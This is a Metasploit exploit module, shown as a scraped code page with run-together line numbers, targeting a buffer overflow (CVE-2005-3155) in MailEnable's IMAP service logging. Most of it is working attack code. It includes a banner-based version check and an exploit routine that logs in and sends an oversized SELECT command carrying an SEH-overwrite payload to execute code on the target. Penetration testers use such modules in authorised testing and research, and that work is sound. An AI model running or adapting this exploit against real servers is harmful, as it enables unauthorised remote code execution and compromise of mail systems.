Path: blob/master/modules/exploits/windows/imap/mailenable_w3c_select.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Imap9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MailEnable IMAPD W3C Logging Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in the W3C logging18functionality of the MailEnable IMAPD service. Logging is19not enabled by default and this exploit requires a valid20username and password to exploit the flaw. MailEnable21Professional version 1.6 and prior and MailEnable Enterprise22version 1.1 and prior are affected.23},24'Author' => [ 'MC' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2005-3155'],28[ 'OSVDB', '19842'],29[ 'BID', '15006'],30],31'Privileged' => true,32'DefaultOptions' => {33'EXITFUNC' => 'thread',34},35'Payload' => {36'Space' => 600,37'BadChars' => "\x00\x0a\x0d\x20",38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' => [42['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] # MEAISP.DLL43],44'DisclosureDate' => '2005-10-03',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)53end5455def check56connect57disconnect5859if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)60return Exploit::CheckCode::Appears61end6263return Exploit::CheckCode::Safe64end6566def exploit67connect_login6869buf = rand_text_alphanumeric(6196, payload_badchars)70seh = generate_seh_payload(target.ret)71req = 'a01 SELECT ' + buf + seh + "\r\n"72sock.put(req)7374handler75disconnect76end77end787980